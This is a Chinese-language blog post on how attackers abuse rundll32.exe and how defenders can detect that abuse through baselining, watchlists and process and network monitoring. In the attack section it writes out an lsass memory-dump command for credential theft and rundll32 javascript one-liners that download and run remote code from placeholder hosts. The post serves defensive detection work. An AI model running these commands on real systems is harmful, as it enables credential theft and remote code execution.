揭秘rundll32中的攻防對抗
前言
要做好檢測能力，必須得熟悉你的系統環境，只有足夠了解正常行為，才能真正找出異常(Anomaly)和威脅(Threat)
在上篇文章中介紹 CS 的一些行為特征時，經常提及 rundll32.exe，哪怕非安全人員，可能對該進程都不陌生
顧名思義，rundll32.exe 可用于執行 DLL 文件，也能調用該文件中的內部函數
它的歷史差不多能追溯到 Windows 95，幾乎是所有 Windows 操作系統的必需組件，不能輕易地被禁用
攻擊者可以借助 rundll32.exe 加載 DLL 文件中的惡意代碼，避免像其它 EXE 文件一樣直接在進程樹中現行
另外，攻擊者還可能濫用合法 DLL 文件中的導出函數，比如待會兒就會介紹到的 comsvcs.dll 和 MiniDump
除了加載 DLL 文件，rundll32.exe 還能通過 RunHtmlApplication 函數執行 JavaScript
正因為這些特性，rundll32.exe 很容易博得攻擊者的青睞，在攻擊技術流行度中常常名列前茅
常用場景
對于 rundll32.exe，最簡單粗暴的用法當然是直接指定文件名稱，執行目標 DLL：
— rundll32.exe
當然，在我們日常使用操作系統的過程中，見得最多的可能是通過 rundll32.exe 調用某些 DLL 文件中的特定函數這一行為：
— rundll32.exe ,
譬如，在我們右鍵點擊某文檔，選擇特定的“打開方式”，然后會彈出個窗口供我們指定用于打開的應用程序，實際上就相當于在后臺執行了以下命令：
— C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,OpenAs_RunDLL
拿修改 hosts 文件舉個例子，通過 WIN+R 執行以下命令，即可彈出該選擇窗口：
— C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,OpenAs_RunDLL C:\Windows\System32\drivers\etc\hosts
類似行為在我們的日志中呈現出來通常會是這么個模樣：
關于 shell32.dll，比較常見的函數還有 Control_RunDLL 和 Control_RunDLLAsUser，它們可以用于運行 .CPL 文件，一般主要是控制面板中的小程序
例如打開防火墻： C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,Control_RunDLL C:\WINDOWS\System32\firewall.cpl
很顯然，這里的 CPL 文件也可以被替換成惡意文件，所以一旦出現可疑的路徑及文件名，我們就需要結合其它工具來檢查它的合法性
關于這一攻擊手法的使用細節，這篇 Paper 值得一讀，本文就不展開闡述了
另外附上一張表格鏈接，其中包含了 Windows 10 上 rundll32.exe 可快速調用的命令清單及其功能含義
畢竟人生苦短，大家都沒時間去記住那么多命令，但是不妨先 mark 一下，等到有需要時可以迅速查出其含義
攻擊方式
借助 rundll32.exe 實現的攻擊方式非常多，這里我只簡單介紹幾種比較有特色的利用姿勢
合法的DLL調用
攻擊者如果使用合法的 DLL 文件來完成攻擊活動，按照傳統的檢測手段，確實會大大增加防守難度
例如利用 comsvcs.dll 中的 MiniDump 函數對目標進程進行內存轉儲，從而實現憑證竊取，參考這里：
— C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump C:\temp\lsass.dmp full
類似的還有 advpack.dll，原本是用于幫助硬件和軟件讀取和驗證.INF文件，也會被攻擊者用做代碼執行
印象比較深刻的是之前分析一些木馬病毒時見過類似的使用技巧，特意搜了下，這里好像也有相關文章：
該病毒在圖片中存放惡意代碼，通過白利用完成代碼執行，不熟悉的小伙伴遇見了真的很容易被瞞過去：
— c:\windows\system32\rundll32.exe advpack.dll,LaunchINFSection c:\microsoft\360666.png,DefaultInstall
當然，這些攻擊手法在實際使用過程中肯定會有許多變種，用于繞過一些常規的檢測方式，比如 MiniDump 函數的調用也可以通過編號 #24 完成
感興趣的朋友可以看看這里：
遠程代碼加載
除了本地加載之外，rundll32.exe 也可以通過 RunHtmlApplication 函數執行 JavaScript 以實現遠程代碼加載，例如：
— rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"
— rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/XXX/XXX")
值得一提的是，根據筆者的觀察，目前還沒怎么看到日常活動中關于 javasciprt 關鍵字的合理使用場景，所以通常我會直接將該特征加入檢測模型
想深入了解這一攻擊手法，更多內容可以看看這篇文章
濫用COM組件
關于 rundll32.exe 還有一些比較少見的命令行參數 ———— -sta 和 -localserver，它們倆都能用來加載惡意注冊的 COM 組件
登上自家的 SIEM 去看看，說不定也能夠發現以下活動(至少我確實根據相關數據狩獵到了一些有意思的活動:P)
— rundll32.exe –localserver
— rundll32.exe –sta
對 COM 組件不熟悉的童鞋可能需要先得去補補課，比如 ATT&CK 在持久化階段中提及到的 T1546.015-Component Object Model Hijacking
簡單來講，當我們看到類似的命令行參數時，最好先去看看對應注冊表下的鍵值對是否包含惡意的 DLL 文件或 SCT 腳本
它們通常在這個位置：\HKEY_CLASSES_ROOT\CLSID\，可結合下圖食用
關于具體的利用原理和攻擊細節可以看看這里，還有這篇文章中提到的使用 -localserver 作為攻擊變種的使用姿勢
檢測技巧
命令行檢測
首先讓我們一起回顧一遍 rundll32.exe 的基本使用方法：
— rundll32.exe ,
從 rundll32 的文件位置開始，我們可以設定一條最基礎的檢測規則，因為它通常只有以下兩種選擇：
- C:\Windows\System32\rundll32.exe- C:\Windows\SysWOW64\rundll32.exe (32bit version on 64bit systems)
雖然簡單，但也不并一定完全無用武之地：
接著，讓我們開始關注 DLL 文件和導出函數
通過前文的介紹，我們應該能達成共識：在日常活動中，rundll32.exe 的出場次數并不少見
對于這種可能存在較多干擾信息的情況，我習慣使用漏斗模型來幫助縮小檢測范圍，簡單來講就是盡你所能(不一定非得用UEBA)去建設行為基線，然后剔除正常活動，重點關注偏離動作
例如，我順手統計了下自己電腦上出現過的 DLl 文件和導出函數，實際應用時，可以采集足夠多的良性樣本，充實我們的白名單，或者借此優化采日志集策略
經過像漏斗思維一樣的篩選，可以縮減我們的狩獵范圍，更加聚焦于異常行為，從而提高狩獵的成功率
在實際生產環境中，對于行為基線之外的活動，仍然可能包含大量業務相關的正常行為，這時還可以運用長尾分析法，關注特定閾值之下的少數可疑行為
或者我們也可以檢查下有哪些不規范的文件或者函數名，比如這里我只簡單設置條件為未包含關鍵字 “.dll”
對于之前提過 CobaltStrike 在后滲透階段調用 rundll32.exe 的方式，就可以很輕松地通過這一技巧檢測出來
另外，其實我印象比較深刻的是以前使用該技巧發現過這么一起異常行為：rundll32.exe uwcidcx.vb,capgj
當時只是覺得可疑，還不敢直接定性，直到寫這篇文章時，在 Red Canary 的報告中發現了類似的攻擊活動，且有著相同的上下文特征，才得以確認為某后門病毒
當然，這種方法可能會存在漏報，所以需要結合后文中的其它檢測點搭配食用
敏感函數監測
前面介紹過一些使用合法的 DLL 文件及其函數完成的攻擊活動，這種特定的白利用行為就需要我們重點關注了
例如 MiniDump 與其對應的函數編號 #24，其它更多的 tips 可能需要請紅隊成員幫幫忙，畢竟術業有專攻嘛
還有 javascript 的用法，因為它在日常行為中非常罕見，所以也可以享受下特殊待遇，加入觀察名單
當然，有些特殊行為我們無法一眼定性，這時往往需要安全人員進行人工判定
對于這種場景，我們可以針對這些敏感的函數調用行為建設相應的 dashboard
例如上文提到的 -sta 關鍵字的用法，我們可能不方便根據 GUID 完成自動化研判，但是可以通過一些技巧提高狩獵效率
通信行為監測
根據我的觀察經驗，rundll32 在網絡通信行為上的花樣并不多，這對于我們建立異常檢測模型是非常有利的
我在自己的主機上統計了下，只有實驗中 beacon 通信時留下了 rundll32 的網絡通信日志
當然，實驗環境的數據沒有說服力，而且我自己也維護了一份白名單，過濾后的數據量很少，這里只是演示下統計方式，大家可以在自己的環境中去試一試
如果有 EDR 在進程通信時能采集到相應的命令行日志，我們還可以結合進程和網絡行為一起分析
而通常情況下我們的日志中可能會缺少這些字段(例如sysmon)，沒關系，這時我們就一切從簡
比如直接結合威脅情報食用，調用 API 查詢 rundll32.exe 的目的地址是否可疑
另外，如果 rundll32.exe 存在掃描行為或者訪問特殊端口(例如445、數據庫端口等)，這種情況應該不用多講了吧(PS：我還真遇過好幾次)
要是還想玩點高級的，可以結合通信頻率，學習下檢測 beacon 的姿勢，比如根據 jitter 特征檢測 C2 通信，參考這篇文章
異常關系檢測
這部分可能涉及到的攻擊手法就比較多樣了，比如釣魚郵件、webshell、計劃任務或WMI等持久化中都有可能用到 rundll32.exe
所以需要對相關進程間的父子關系列一份檢測清單，例如以下進程就應該劃上重點：
- winword.exe- excel.exe- taskeng.exe- winlogon.exe- schtask.exe- regsvr32.exe- wmiprvse.exe- wsmprovhost.exe...
而對于清單內的進程，我們還可以借助圖數據來構建 dashboard，如果有個專門的模塊能夠記錄這些罕見的進程鏈，監測時便是一目了然
當然，有機會的話，也別漏掉了一些特殊的訪問關系，比如 rundll32.exe 對 lsass.exe 發起高權限的進程間訪問
小結
最后，這篇文章中貼的相關鏈接比較多，大部分都需要翻出去才能訪問，所以如果遇到無法訪問的情況其實是正常現象
有些地方的貼圖不方便展示真實數據，只能貼網圖或者在實驗環境下截圖，顯示的數據樣本會比較小，但是文中的結論實際上有大量樣本支撐，基本可以放心食用
如有紕漏之處，或者其他有意思的發現，歡迎私信交流~~
